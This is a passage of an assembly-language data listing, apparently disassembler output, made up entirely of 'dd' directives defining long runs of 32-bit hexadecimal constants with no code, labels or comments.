		dd 7A10E534h, 8C8542Ch,	34162580h, 74E3CE7h, 0C920DE7Ch
		dd 55799029h, 90C10D9Bh, 0D3629044h, 4876884Ah,	64165058h
		dd 183C483Fh, 0D5C0CC80h, 0AC131Ch, 2AD24CABh, 0CD8104A4h
		dd 5511B500h, 521C9C3h,	172801B3h, 4B257AA1h, 87303427h
		dd 7520B91Eh, 0E3609864h, 0C2FA8E60h, 7523FDB9h, 4807F4A9h
		dd 200E01B8h, 0A3EED8CAh, 0C480FAECh, 26F092DEh, 0EB28718h
		dd 80BCCF0Ch, 11956728h, 1124E6Eh, 0B031AF4Ch, 6980E46Ch
		dd 0E34F2C87h, 0F30259E6h, 0BDD46693h, 3300E03Dh, 3082FB47h
		dd 538D7F2Ch, 9127D448h, 64357E1Ah, 23544010h, 62A883F9h
		dd 3D0603B7h, 263F25A6h, 60A948F0h, 400D10h, 0CE0B5B07h
		dd 29886F72h, 4ABCAF0Ah, 0B75DE1D8h, 24000535h,	9172945h
		dd 0EB211478h, 15783CE3h, 0D00E0F96h, 3C51CB01h, 0C715E1B8h
		dd 70851BA1h, 0F0408FD0h, 50A554DCh, 672F08A8h,	1BD458Dh
		dd 0ED21FCBBh, 4C51EC4Ch, 0A8638960h, 88480C53h, 0C9CEC618h
		dd 86486098h, 76FD8050h, 0C4B09128h, 8F1A7BB0h,	0C01B88ACh
		dd 5045D40h, 0C806EFECh, 1BFEB66h, 78CA0050h, 96798FB0h
		dd 3709F498h, 94665DAFh, 1FB724ACh, 0B685C1F0h,	0ACAC4309h
		dd 4BEDE098h, 1EB3E8A0h, 9EAE8E80h, 65E60A4Eh, 78FA8138h
		dd 3422C35Dh, 9B09A9E8h, 0B7EE0557h, 2FBB0018h,	0C83EDA7h
		dd 0F7E81104h, 5881514Bh, 9848E7E3h, 4B048C18h,	3F8F9F6Ah
		dd 0C4201F62h, 393D6A32h, 1C80BAF2h, 0DB2001EBh, 1280F3FFh
		dd 49CB17Dh, 985938DEh,	5505F6F4h, 36BC4454h, 9199E801h
		dd 89EAFD76h, 8B088184h, 0F840A79Ah, 0B3EA666Ch, 24D8387Ch
		dd 0DD013C23h, 0C8EE10A0h, 0B7885918h, 0F2A01FD4h, 0C1EF8189h
		dd 3403E3E2h, 0B206D57Ch, 0DCDB8A4Fh, 129B00B1h, 61BAE229h
		dd 470FA113h, 40DF9EE1h, 593CC80Fh, 5C26FF65h, 8C110E15h
		dd 3A890070h, 0D30CCA9Fh, 4C2A6763h, 0BD0E1038h, 436F2E92h
		dd 9180DFFFh, 0C826181Ah, 8156AB02h, 4622830h, 6016F804h
		dd 10916B4Dh, 0C8C46F8Fh, 34CA801Dh, 0D91F5B6Ah, 12487B06h
		dd 1D9A762h, 0A0D13D18h, 31DFBE3Ah, 408CD98h, 0C031A808h
		dd 0EE13A0DEh, 5822E046h, 0A0D9B400h, 0AC2D0B47h, 493D7906h
		dd 0C68B988Bh, 60992404h, 73E2340Dh, 224B437Ah,	0FA15900Bh
		dd 7EF177DDh, 71F00E3h,	6C7DF273h, 0B8AC57EDh, 0E640441Dh
		dd 14939828h, 5DD10C29h, 7A032B18h, 81A7BDE8h, 574DB0A3h
		dd 288991Fh, 206F5C12h,	408D5069h, 13916C68h, 64ECBC98h
		dd 0FD1C4082h, 0C80D8C92h, 716B2AFCh, 0FDC4C30h, 62EAB6F7h
		dd 5B5D3CE0h, 0F6128E01h, 1490807Dh, 3E2DDCFDh,	0BE00D731h
		dd 11D42F73h, 0E3003B2Eh, 0B8A527Ah, 9908441Ah,	473A1CC8h
		dd 768BF6CAh, 0B3017259h, 495538DFh, 14400E10h,	1C054E9h
		dd 1E0206B7h, 66D1D299h
		dd 0AD120B5Ch, 2110149Fh, 102C33D7h, 6F04674h, 6A28FD22h
		dd 3043E4E1h, 4C60DD66h, 97015571h, 40752ED5h, 1882DC02h
		dd 2F332343h, 668CE868h, 0B46BFD2Ah, 9D1776F2h,	68332A63h
		dd 27338820h, 0BC4788F1h, 0A4810572h, 341D1218h, 4B507AE1h
		dd 21800AC8h, 272C341Ah, 92743CEBh, 200F1092h, 7A81D3E0h
		dd 6359190Fh, 3BFE607Eh, 557F737h, 28D75CFAh, 4208984Bh
		dd 2DFD2509h, 4080B2D4h, 0B1A35232h, 0E5848868h, 13C1AA4h
		dd 0EF37A0E0h, 2985928Bh, 21A6A85Ah, 20341064h,	64A41CE4h
		dd 230F44h, 4123418h, 0CF5A9C28h, 8FD5BF04h, 4A6B032h
		dd 0FBE32004h, 0E284400Ch, 52FC44F9h, 7DD822h, 8609546h
		dd 773EA0ADh, 8ED8C200h, 0A4D73CB9h, 192CF865h,	18B18F16h
		dd 0C2B6DCBBh, 2D5488h,	2E938B78h, 0C17DA1A7h, 420021F2h
		dd 53D05CB4h, 5F3038h, 0A7DE4C1Ah, 0AD1CB311h, 8F34BF06h
		dd 3888ABh, 253D610h, 0B484D6Eh, 38715418h, 3C478850h
		dd 0F0EAE5h, 3E40068Dh,	0A25321F0h, 8FC0100h, 0C2A07FEBh
		dd 0B0A70634h, 38A83C0Ch, 18663D3Ah, 0F1493671h, 9BDA0041h
		dd 86BADC33h, 70303294h, 875CD0E2h, 8AAD1867h, 31F0C99Dh
		dd 1280FA00h, 83655B22h, 0C7185E51h, 530D306Dh,	0EA0C9EDBh
		dd 60AE17D8h, 53E002Eh,	39B5C35Eh, 27392FF3h, 0A798016Bh
		dd 0D6BB1E2Ch, 34B7A040h, 0BB34033h, 1831893Ch,	8A10ABD7h
		dd 0B881C09Ah, 0B09DE16Eh, 0E5095F00h, 0E9F78F2h, 0BE2007Eh
		dd 3D2DB846h, 24A0AAC7h, 0A5548F7Fh, 0E138C1A8h, 0D52B01F1h
		dd 0CD22AB52h, 21BB0898h, 0F101D9E2h, 32A8605Dh, 0F840B121h
		dd 80BBB734h, 23500E2Ah, 0CF212C58h, 348414B1h,	5F1E680h
		dd 448CFD2Bh, 0DE00E7BEh, 0A543AFF1h, 76594Fh, 0EE523287h
		dd 3CD80C47h, 0A698DA03h, 0A13E5E22h, 5060B657h, 2EF205A7h
		dd 408C89F9h, 6A88A888h, 820611FCh, 7209A5CBh, 21A06008h
		dd 966A80CAh, 73248903h, 0DFED9854h, 0A81B1EC0h, 0B3E1C4D8h
		dd 492C0097h, 360B67Eh,	5F2A8788h, 787847B2h, 24B0A303h
		dd 0EC70F46h, 0BB1B2E38h, 623281A0h, 0F8AAFF41h, 0A3E38C02h
		dd 3A262E00h, 8EDB0058h, 0E0FD7B2Dh, 833064B1h,	0FCA120A8h
		dd 0F4F71445h, 29E12040h, 20881955h, 700A92Fh, 8A435742h
		dd 40F1DC96h, 90F81909h, 241E3F7Bh, 6D425761h, 90283D77h
		dd 75621D0h, 492D01B9h,	0E873C094h, 27186DF1h, 0CFF05042h
		dd 6310002Ah, 83AF680h,	8F020F0Ah, 0F0E387F3h, 11D440BCh
		dd 16DF12A2h, 0C7744EABh, 308D4C00h, 320EAD1Eh,	8CACE628h
		dd 3EE21C2h, 1B314BF8h,	819709C4h, 0FCB92DF0h, 35EA47B1h
		dd 689D271Bh, 0E8E7F080h, 0FE880C3Dh, 0B9B9A890h, 7B499C01h
		dd 0BA17B683h, 0F87A5980h, 0A5278C72h, 8D22F31Eh, 8466C00h
		dd 704B3DE1h, 16D918B7h, 0F16B31BCh, 8F9CC000h,	278DFACDh
		dd 89F3005Ch, 0C7907162h, 4B03DA11h, 4236B2D7h,	890492Fh
		dd 688B9D09h, 0BD91781Dh, 0A22F3A80h, 487CDA54h, 2B0E0F1Ch
		dd 0AC417393h, 8935A7F5h, 836030B2h, 10F1E530h,	0E2F52B04h
		dd 7FA2E0E6h, 7789002Fh, 690DE855h, 2518D2B7h, 0AF60B20Bh
		dd 0C137019Eh, 39FA1435h, 8457D40Fh, 0A7E13000h, 27950D09h
		dd 0FD343276h, 0E2308080h, 2B0111F1h, 80B688DDh, 63F1DAE3h
		dd 3D4D71FDh, 0EA0400ACh, 2B767EF0h, 0E4602C21h, 153C0263h
		dd 0EC859577h, 3F2081F7h, 348700B4h, 0EE48A027h, 39FB0B9h
		dd 0B0AD3201h, 5950490Dh, 0B1410B80h, 40E3A020h, 31F8F5C1h
		dd 0A2D08C50h, 0A0799C0h, 5374515h, 0CB20EB0Ch,	0D0891BFh
		dd 0F851A4A1h, 0A53620B0h, 914484C2h, 9032F33Dh, 0C1C0044Ch
		dd 90CA3653h, 6E0F7590h, 80F8371Dh, 3ABF9AF5h, 8E3318BEh
		dd 0C7105818h, 658417F5h, 0F6000353h, 111F3170h, 0E680044Eh
		dd 8CC613B7h, 0C5EB3AAFh, 73214430h, 960564FCh,	509E8BE7h
		dd 54BC9883h, 14FA6C59h, 8B99801h, 8E5A0D03h, 0EFE00896h
		dd 8B3082BAh, 339C18Fh,	0F3C10053h, 592D0D9Eh, 0A60A6B24h
		dd 0FCE9B297h, 0D846F0A8h, 864BF901h, 0CACE630h, 0F1E788BFh
		dd 0AA854B00h, 2910B391h, 266D0C63h, 44B00B9Ah,	12A818FBh
		dd 133FF63Eh, 8CD808B0h, 90320D62h, 0B3660D0h, 5B2CF450h
		dd 11E88820h, 0B360B0C3h, 0E4280F50h, 0B18B3912h, 0FA5930D0h
		dd 12B49A23h, 4217462Ch, 0EB5D2D34h, 65BB068h, 0FDD97101h
		dd 0DBBBB315h, 37325087h, 8798EC52h, 6090FE50h,	2CAB9624h
		dd 663F3483h, 0B3200651h, 38C6A8EBh, 3DCAFA06h,	7269CD6Fh
		dd 1C514C78h, 70AC7F18h, 57343DAAh, 34C120C3h, 0C8518B2Ah
		dd 80300413h, 802C4820h, 0D8EBAB06h, 0F72958B4h, 0D504DC8Ah
		dd 7C829025h, 0F398407Bh, 0FC088023h, 97F1C005h, 0B044B6B8h
		dd 5C90A98Fh, 0E111455h, 0EADE6D07h, 0C1E30385h, 7904B14h
		dd 924043D7h, 283A4D25h, 7A382BB6h, 63683F09h, 0F0870A4h
		dd 1390AEF0h, 141DAA98h, 40093A3Ch, 0B3160A21h,	1E49711h
		dd 931EA0F7h, 2E1872BAh, 0CB9A81Ch, 18C9E70Eh, 290F3B75h
		dd 0A16EDF89h, 28EE3442h, 6859A037h, 0A5A83E41h, 0B0788864h
		dd 3328041Ch, 73F3237h,	2249FEC5h, 21BF2ADCh, 70F61407h
		dd 0B0AA0324h, 7C043060h, 29C38825h, 83FC813Ch,	0F4519917h
		dd 0E3D07932h, 304C9221h, 2551A790h, 8F2945E0h,	588B204Ch
		dd 7BA80183h, 9841BEAEh, 0D9103C71h, 0F0000A5Ah, 8F46E360h
		dd 0AFAB929h, 0C8B3133h, 60F493A4h, 0E4650208h,	1103B723h
		dd 0FA710142h, 96B87C64h, 89BD40A0h, 63C00BFCh,	4C6D01DAh
		dd 70467C0h, 98633Dh, 73C16E16h, 78ECAFBh, 9B60D1A5h, 9A79A13Eh
		dd 0E1D47046h, 2CF090D0h, 0E3C00481h, 5C2B02F1h, 0E4E0ECE5h
		dd 7D00F1DBh, 91298757h, 90858667h, 0C394268Ah,	4B1C2C4Eh
		dd 9E0DE409h, 0BDFFDC39h, 80CF913Ch, 0C2DFBFA9h, 2856D0F8h
		dd 0A1EC4A0Eh, 0C45025D0h, 0F0D6007h, 12FA2173h, 87F209A0h
		dd 0B5400CC3h, 0CE2F1832h, 260B3861h, 0D25B1E6h, 0C2008FA3h
		dd 0E88D7B2Ch, 41B60EB0h, 0F3F0955Bh, 650180C0h, 43FBB7E3h
		dd 4622C5h, 6F64F970h, 8F497B4Fh, 7F34B709h, 0B85810BBh
		dd 0EDCCA072h, 0E5EB180Ah, 2713F840h, 7008126Ah, 9288BE14h
		dd 0A6143F05h, 0EDEE0801h, 9446C88Fh, 0C4DA4D10h, 524BFB87h
		dd 0C131F630h, 4BF3E910h, 0BE9A2C28h, 0BA06A803h, 5ADB697h
		dd 0C25F3021h, 1901F59h, 0E2F7EEDh, 0B7AC24ACh,	98FF4418h
		dd 9670F1C8h, 71E28094h, 0E99ED5F2h, 3D4EFA05h,	0E044A332h
		dd 28C1E89Ah, 0C399C07h, 4A85F10h, 913B64B7h, 2D812403h
		dd 103726C9h, 2E41F709h, 0F0086D4h, 64D00F57h, 0F4A3FCF8h
		dd 0FF6A8B02h, 9E319A11h, 6A83CD10h, 1878E513h,	418E0804h
		dd 0D2101C14h, 27300644h, 17185496h, 4018BBB9h,	0F372A608h
		dd 38A4F72Eh, 0FA6A860Fh, 0C8E0D011h, 8056A7Eh,	0AF8FD560h
		dd 0EAB8440h, 0F5D76Eh,	0F02A2CB2h, 1B4D1FEEh, 80AEE801h
		dd 0A8C3143Bh, 74428427h, 0C1309CA2h, 0AAB12A97h, 702714E8h
		dd 0CF10C029h, 47B00D8Ch, 7823F0FCh, 3429E80Dh,	26423E8h
		dd 1EE55A55h, 191F6147h, 0AF7B024h, 0C6EF1DD2h,	0AB9802E0h
		dd 1458DB99h, 200253A1h, 0AE6C2B18h, 7831820h, 21F798B3h
		dd 7DD88C4Bh, 8A09209Ah, 98A128E4h, 593CB7DCh, 104CC077h
		dd 0B2DF10h, 9EE00EE7h,	606A9042h, 1499A0A4h, 4EECA8EEh
		dd 0BE83649h
		dd 0A2BAD0EBh, 5B921624h, 34790A8h, 745FEE13h, 2A480B90h
		dd 2C106F0Eh, 3920AE44h, 895C1267h, 0B9ECDCFFh,	23201E82h
		dd 701369Dh, 425F180Ah,	0B3FAB042h, 0FD6AB0E8h,	7D8A4611h
		dd 6A81D08Bh, 0ACFC41h,	0AF73C53Bh, 4DCE0680h, 492CFC14h
		dd 4CF726A4h, 0E76505C0h, 0C61B21B7h, 74034391h, 6C3864FDh
		dd 0BF988AA1h, 0DE1E0069h, 0CC7675AEh, 8678C9h,	0ED382007h
		dd 8F47FBA8h, 0B0DCCA0Bh, 98B48457h, 0CB0E6801h, 2FF898AFh
		dd 1669461h, 5F96E21Dh,	60FC6D89h, 4E519AACh, 50A466D0h
		dd 1CF012ACh, 4D4CF5Dh,	67336476h, 0C73F0881h, 496F463h
		dd 0C8AB8314h, 9A4051D0h, 0D268C47Eh, 0F8041249h, 0B200CB9Ch
		dd 3239FD61h, 11647A48h, 0D041A47Dh, 0C0786092h, 660C07DCh
		dd 9316B00Fh, 0AE2F82F5h, 28185965h, 0ABC72048h, 19A65331h
		dd 0A1E09A2Ah, 8B88A0B1h, 17248CB0h, 0CE80C4BBh, 3C292484h
		dd 0DDFC39D0h, 1DB2091Ch, 0DAB58108h, 2012DF6Ah, 0A1404B80h
		dd 13461821h, 0B62EE0A6h, 50D82652h, 0E0137BD8h, 0EC407071h
		dd 0CE478EAFh, 58DF4838h, 64CCBB11h, 91416538h,	47C05CE3h
		dd 3827128Ch, 8090068h,	1E735901h, 0E75BF79Fh, 1C1733C0h
		dd 8A302FF3h, 0AC4F6Eh,	42DDEF09h, 58B276A8h, 52622902h
		dd 0E42034A5h, 1F14654h, 0B7E164FFh, 0BC5EBh, 7864F76Eh
		dd 0A1F18DAEh, 0CACCDCh, 48BA5F32h, 809300B6h, 0DD784059h
		dd 0FE017866h, 0E308B4Bh, 88BB0CADh, 4B26F6ECh,	0A40784AFh
		dd 4C91226h, 8D60FEC4h,	0AAFC016Ah, 0CFA2448Ch,	556A8500h
		dd 0E18AD982h, 390DFC0Fh, 38245023h, 0D4071558h, 8D8AE316h
		dd 0F8880220h, 12650630h, 3823B7E8h, 0FE1D75D0h, 80687064h
		dd 9C419645h, 80409491h, 55760FDh, 0E2EC8E1Ch, 16D8817Eh
		dd 0A004044Eh, 0D001ACC4h, 840DA36h, 0B695401Bh, 0E05F274Ah
		dd 0C178EB06h, 0AC902430h, 3D738074h, 9CEF559h,	0CC279D09h
		dd 9994021Ah, 716C627Bh, 18BC7940h, 0EED8746Fh,	0D213166Bh
		dd 90A8085Bh, 21990183h, 0C6E9E9EEh, 30C0ADCh, 8B20BCA9h
		dd 4907AA8Fh, 0E328F49Ah, 91F65C00h, 87E924FCh,	21FD09FCh
		dd 81806405h, 3DB29774h, 0C05B1600h, 0A48348D1h, 88600A09h
		dd 0EA40CEBBh, 0A3AAB7BCh, 0B4179B12h, 75773047h, 85BAD60h
		dd 0BB600098h, 32B5ED56h, 6152C237h, 0C00C2AE0h, 3FB0FE01h
		dd 0DB10727h, 57044839h, 0A8A5B44h, 0B808CCF1h,	167021AAh
		dd 75202FF2h, 697C8Ch, 1EFA240h, 0ACAFD03Ah, 0A0663D09h
		dd 60949888h, 0C9F71633h, 0B66804D6h, 0B27CA39Ah, 21BE3043h
		dd 3A5ED309h, 0C3402153h, 3C32A30Ch, 0B1D1CD32h, 2ADB4E1h
		dd 85CC84F7h, 6F1E760h,	11052B23h, 0DFE80EB5h, 0C00C12F1h
		dd 29AEB1A2h, 36C4E90h,	50BE3730h, 27B38915h, 30085EC4h
		dd 513072Eh, 2C0D535h, 0C4D4E34Ch, 3B1E2A21h, 5B3DE824h
		dd 0A4384127h, 3DC94F45h, 7C16121Ch, 462A9002h,	0BB5CEA43h
		dd 0B1C3E148h, 31C22608h, 0C1326A22h, 0B420DC25h, 0D0B686F4h
		dd 0BE4656h, 0F57F4674h, 1A0B504h, 144B1294h, 2DA644EBh
		dd 0F97A3380h, 4395B7D8h, 9AA0E892h, 79DCC0A4h,	0D2D1056Ah
		dd 8A60462Eh, 0B0FA05ACh, 74884712h, 0F0B288BCh, 8308198h
		dd 6E82CE0Bh, 52DA003Eh, 585D6FF6h, 0CA50DDCDh,	8F280EECh
		dd 0E01E88CFh, 34182F0Bh, 622E3D81h, 928AD9B0h,	42726848h
		dd 23B35400h, 7CB0FF8Fh, 6B27157Eh, 48DDC0B8h, 0A826BA77h
		dd 0E18A370Ch, 0D123311Eh, 9876B918h, 0E871A680h, 4511208h
		dd 9E500868h, 0F8011380h, 141B5322h, 3496C892h,	41150B96h
		dd 0AFEA046Bh, 20908922h, 0FF1AEB40h, 462B76FAh, 2802A0FCh
		dd 86563F99h, 0A8D411E7h, 5A8C274Ch, 0C0282455h, 77935334h
		dd 9B3A90A0h, 263C5F80h, 9418891Fh, 0B218B584h,	948A987Dh
		dd 565881C7h, 28730C71h, 6CF34CCh, 71F22D1Fh, 0D407B93Eh
		dd 955EAB3Ah, 596E4480h, 0E21512A0h, 6C870923h,	0B64F6002h
		dd 918903h, 0A203AE59h,	6880A6E7h, 3A727018h, 54A6351h
		dd 0AA75E36Ah, 3CB8001h, 871D984Bh, 0B313622Ch,	64909C22h
		dd 7A0F00ECh, 4631876Bh, 225CA4DEh, 21ABA27Ch, 42B8B797h
		dd 0BA20AE20h, 10AFFD0h, 5DC2AC91h, 0C441A06Ah,	4C9A3C8Bh
		dd 0C4EB1312h, 0C12A3482h, 4045398h, 43B62CDCh,	8C47F21h
		dd 0E1311820h, 82E92B88h, 0A334807h, 9AD7C482h,	0EB85AE00h
		dd 80AC4971h, 40BB3850h, 140D07A6h, 41F490FDh, 0DB89C6Dh
		dd 70F8C05Ch, 0EB120304h, 0A4C8D024h, 3B214E1Dh, 1A22388h
		dd 0FBB4AF14h, 6CEED5B1h, 907E12F4h, 0B2BABC20h, 761D00EFh
		dd 0B6BCEB5Bh, 65126AC5h, 380422E7h, 2B007CAEh,	725E3D74h
		dd 2FD94Ah, 0C6004923h,	7952D9C8h, 4DF50576h, 0E334EB0Ch
		dd 0A783218Ch, 180184B5h, 962B3C39h, 171A8038h,	74402133h
		dd 2258B191h, 23BB1000h, 21377018h, 9201B73Dh, 0C44DF638h
		dd 28606F13h, 0E202F3B6h, 0F84C7C66h, 0BEAF17F0h, 0D4A458C8h
		dd 84164051h, 0E2820B9h, 7096CA5Bh, 0A47E0C8Ah,	0EA0A070Fh
		dd 0AF00F7ABh, 0A8881A86h, 2064B8FEh, 8F03C41Bh, 4745ACF7h
		dd 30105AB6h, 0ED8022D4h, 5004302Dh, 0F2B23597h, 870C6098h
		dd 1123FB6Ah, 9D117Ah, 0D6A7FC9h, 4DCE0F1h, 6457492Ch
		dd 24A0E0AFh, 0A8BA4678h, 0AB1C2E01h, 0C188EB0Bh, 0A215D450h
		dd 38FA627Eh, 30F07AE6h, 0CA273012h, 0CB15CCC0h, 74524CB3h
		dd 0E475A604h, 6AB88086h, 0A280DE4Dh, 0DBF129BEh, 4FA2E220h
		dd 79085132h, 95218BCh,	7B15CAB4h, 323DDCC0h, 5B817C9Eh
		dd 0EC5613Ah, 60918C21h, 4BFC80DBh, 4AFE3089h, 64CAACh
		dd 354BF4EAh, 0FA8B66h,	0E586322h, 0AA03294h, 0F43BEB26h
		dd 8F5E1698h, 31252AB6h, 397024C0h, 806A9D3Ch, 54BEBB75h
		dd 713AF6F7h, 0B3128EBDh, 2B8B434h, 0D8420801h,	480CCC88h
		dd 0D2223C7Eh, 4A3026FFh, 0A950B004h, 95662A02h, 0E5879CF9h
		dd 44E27DF0h, 8284F91Fh, 0E1420E2Eh, 61155CF9h,	901892Ch
		dd 3C4808A0h, 927CAE88h, 15E8610Bh, 0D4208891h,	8F8C0C7Dh
		dd 0F188BD10h, 0E214BE15h, 6C0AAED7h, 64EB9186h, 6094BC51h
		dd 37330112h, 5832F22Eh, 9CB24045h, 1E4D92Bh, 30874BFAh
		dd 88BE18EEh, 4B02F2E8h, 0AD5FB4EFh, 80D85E16h,	51EC86D2h
		dd 0E24F288Fh, 4CBC0424h, 0FDAE1A80h, 49031E8h,	8A9B91Ch
		dd 12FBA840h, 909A2B1Ch, 0D32A2238h, 4813B026h,	0BB70E840h
		dd 30530B7Dh, 5420125Fh, 0AB04B34Fh, 89A8C8CDh,	0A181D820h
		dd 0B4576A9Ch, 11175F51h, 93CA919Ch, 0B0C82CEh,	6D11A865h
		dd 7B64B904h, 6220D0B1h, 0B23232D6h, 119558B4h,	50383216h
		dd 418AAE94h, 0B91034A4h, 79D273Ch, 0C8DA8A50h,	68227192h
		dd 2D83E158h, 0AEF18F0h, 0FC90158Fh, 957C08F4h,	9329B60Fh
		dd 41B054C8h, 3C8064A2h, 10D8995Ch, 37099B36h, 4CA08764h
		dd 0B4573E2Ah, 7AF2B181h, 1118B0DCh, 22A205B3h,	83EB00B6h
		dd 0F359C73h, 280060ADh, 0AC725C3Eh, 16A1CFh, 34F29E24h
		dd 0AABD4625h, 223C44B9h, 5EC494CBh, 88049F46h,	0B8F4FAFBh
		dd 0C3D58014h, 7B25915Dh, 0CED23C1Dh, 0CA06FF80h, 0EAEF01FCh
		dd 0C5193505h, 7CD07C71h, 60B40E8h, 9C90A4C1h, 0AC09488Dh
		dd 40AD9F1Dh, 5B9A676Ch, 23843B0Ch, 0B76F976h, 0E423A5DCh
		dd 0FA80BA1Fh, 2812875Fh, 4404D685h, 121CAC63h,	3882072h
		dd 750196DCh, 12623280h
		dd 803450BBh, 0D0E1580Fh, 7E23AC59h, 0FFF1E001h, 1C38CD2Ah
		dd 0F16580B4h, 162D2D93h, 0D1E8098Fh, 0EE9E00C8h, 0FE15921Eh
		dd 1229130Ah, 4674F8A2h, 1C6B00A0h, 13D52048h, 448D601h
		dd 2AF4004h, 0CA6A37A6h, 8028B76Ch, 38F7E364h, 473015ADh
		dd 67B3C8C5h, 280D4BB1h, 3FE29BCCh, 1D000978h, 22E5CF97h
		dd 501C23h, 5F6C055h, 3109BF38h, 0A6152725h, 0F6B82C80h
		dd 0FAAD0520h, 3B1178F7h, 3F9C2388h, 49B9E91Dh,	0F00B0E2Dh
		dd 0D650682Dh, 0B7BEAC71h, 8D863916h, 0AFEE0220h, 98307290h
		dd 0FB263440h, 0A0A0C35Ch, 4B3F25CAh, 58A090D7h, 0A85C9887h
		dd 0BF7310CCh, 485A1060h, 0D71705CEh, 203A2FF2h, 9700C123h
		dd 0D153AF23h, 0EEB1052Dh, 820A9FB9h, 1062B6C6h, 345830D3h
		dd 0A3B392Dh, 0DC3F4992h, 74902B54h, 0F08830D2h, 0CEA0E61h
		dd 8DA0409Fh, 5B7B5514h, 8D08B4Fh, 0AEE405h, 0FBED64E7h
		dd 0D0DCAB7Ch, 3E160902h, 871E3896h, 44D98BA0h,	5D750F40h
		dd 0F118B898h, 64F3732h, 6171B081h, 0CF2CC54h, 0BB334AF2h
		dd 0A80483D4h, 5C14250Eh, 9D048CBAh, 4766B316h,	20AB3730h
		dd 3CB7D8E0h, 1488BCBFh, 0FD23ACF1h, 486AB83Ah,	803C5352h
		dd 5E6A84CEh, 28C316BAh, 15A892A6h, 3CB8B324h, 134C894h
		dd 0BC24F918h, 0E3171C6Ch, 0B9EFCF4Dh, 3D4927E1h, 6C48DA2Ch
		dd 9B025A22h, 17BCB48Ch, 0B24CC909h, 0C15EC2F8h, 10EB93F0h
		dd 309084CAh, 97401927h, 3EA19FEDh, 3C00BE4Eh, 732354DFh
		dd 958B3DDAh, 33D2D0Bh,	697BE410h, 0F6AF9813h, 0BF580822h
		dd 0ACF600DCh, 0C094554h, 290F9401h, 8E532C2Fh,	990B7080h
		dd 9ACB34B9h, 409C10D7h, 11D24425h, 0BF4CCB10h,	60C77289h
		dd 0D680B1CFh, 0F1079457h, 64B7AC0Ch, 182A914Fh, 80DA6346h
		dd 0B6489CAEh, 7AB9C55Ch, 597724C2h, 80493FC0h,	0B8E8244Ch
		dd 0E12D588Ch, 2F32E602h, 5C483786h, 8B2D645Fh,	0BAAC24A8h
		dd 4BE0E740h, 389053C3h, 2E970D44h, 40ECACBCh, 17C07023h
		dd 0A8112091h, 0AF68C24Eh, 32C2B707h, 0D9C8F17Ch, 286A18B7h
		dd 45DC1713h, 0D8412F9Bh, 0D4CB15C4h, 609068AFh, 60001D31h
		dd 0EC4D2090h, 0F8AD37h, 0BAB1EBC1h, 0E2BDFF2Dh, 4872151h
		dd 0E7BC824Ch, 1E195471h, 0D9912619h, 988B4FCCh, 54C0BAC8h
		dd 0CCD2AAh, 0FF0A1746h, 0A03E55F9h, 822D0D14h,	862A8944h
		dd 0AC88C830h, 44F88794h, 7BD60BBh, 0D5B202D2h,	313DE245h
		dd 0E4CAD091h, 0C4B3BE6Fh, 8B4A5611h, 0C04AC8D4h, 8AC18BDh
		dd 6E6BF700h, 609477CCh, 8451591Bh, 0C72B1608h,	0A9279609h
		dd 11689D28h, 573782C0h, 6C22E18Bh, 0AA98A040h,	93545B2Ch
		dd 1AA4FB44h, 794CD910h, 77018B5h, 0C81D0A08h, 0E4247974h
		dd 3F408148h, 5D9422A5h, 18CC4BF0h, 40A7F82Ah, 8498B1D6h
		dd 78B39813h, 0B0F9D880h, 8CF89E08h, 0E9D9B717h, 1200C898h
		dd 759F9138h, 73F576h, 1E6E61D8h, 0FF27A687h, 11C02C49h
		dd 2E7BAABDh, 1F380380h, 0BF5D89A2h, 0BCA46884h, 68302650h
		dd 632E908h, 39A9B097h,	349072F2h, 0E378467Bh, 1E2D0705h
		dd 74D1D06Bh, 80C672A6h, 0CEE89054h, 3E170092h,	0E00334C1h
		dd 0E6003575h, 278764BEh, 9845D2F0h, 78941350h,	0A2B8B388h
		dd 20E330B9h, 7B65E801h, 0AECF3DCBh, 5400E439h,	7C28944Dh
		dd 3213965Eh, 0C42FF362h, 0CCC08C75h, 0F33A41Ah, 0B3EF28Bh
		dd 2576B9D3h, 7F641847h, 787F217Fh, 0AA5A26D0h,	0AFEEE000h
		dd 17A00F88h, 0D0B73C2Fh, 619449D4h, 9641D30Ah,	0AC2AF4E6h
		dd 0A0D1ECB1h, 0E001B818h, 141890D8h, 103B84BBh, 9EE828ECh
		dd 6BCA128Ch, 0C820DA98h, 0B986C79Ch, 1B03E0DAh, 9EF9CF26h
		dd 78EBBFEDh, 21A04124h, 0E9D464D8h, 0B1082307h, 3E3EF3Fh
		dd 2E282CEAh, 0E097AF44h, 0C680BB91h, 0A5074219h, 0AE502500h
		dd 180A566Dh, 0CC5103F9h, 8AA10F3Dh, 0ACDCA7A2h, 3B1875DCh
		dd 99821C83h, 255AB514h, 0B71150E5h, 3C207127h,	247D4231h
		dd 630028F4h, 0A8DE21C2h, 9490B315h, 60102F54h,	520069EEh
		dd 23C74F02h, 0C19B8AE6h, 0B4BBB151h, 227872A5h, 0EB131748h
		dd 7089324h, 0A19B25E0h, 3D8B14B9h, 82284A2Ah, 0D0A4E308h
		dd 0EFBC8000h, 446E13AFh, 0A4941261h, 0E2A12A24h, 9F1072C9h
		dd 23D31E0Bh, 0D8E5E74Ch, 2F6E6369h, 604BDE27h,	0E8C4B158h
		dd 0D70A8C9Dh, 3864B1BFh, 0B2279828h, 9000E145h, 32010462h
		dd 903EEE9h, 0E049ECFFh, 102BA403h, 0C048DAA3h,	0E4C93128h
		dd 17A4986Eh, 0A6C29815h, 2C7BF024h, 80450092h,	7E875B6Eh
		dd 20BF8AF7h, 0D4524B38h, 6CFD0E50h, 60E0F0A5h,	0B98A0C06h
		dd 0B4307D4Ah, 4A435CB7h, 0AD20D4AAh, 2E83E8Ch,	0A632DAF5h
		dd 24D45257h, 80203B71h, 1EAE17C5h, 0BF01BD52h,	16FE9085h
		dd 0DC20B8E5h, 975640EAh, 1076ED27h, 25C3131Ch,	5445A81Ch
		dd 4FE82B88h, 373089A1h, 64153F16h, 0CCB2964Ch,	1A30C1F2h
		dd 0B1071D61h, 8115C06Ch, 2A26A88Eh, 9113309Ah,	1CB028E3h
		dd 0D28B4E08h, 0A0518044h, 271DD484h, 25E050A0h, 0A497F1B9h
		dd 0E2809D91h, 2F44576Bh, 0A075A44Ah, 4ABC8CB8h, 0CC7E008Ch
		dd 0CF7892F7h, 8C5E58F4h, 0A07F830h, 22D63CEFh,	222BC312h
		dd 1520AEF0h, 40125Fh, 41754435h, 722F9C56h, 140E2B24h
		dd 873CB940h, 20988A90h, 3724A726h, 2BA1009h, 721D6F20h
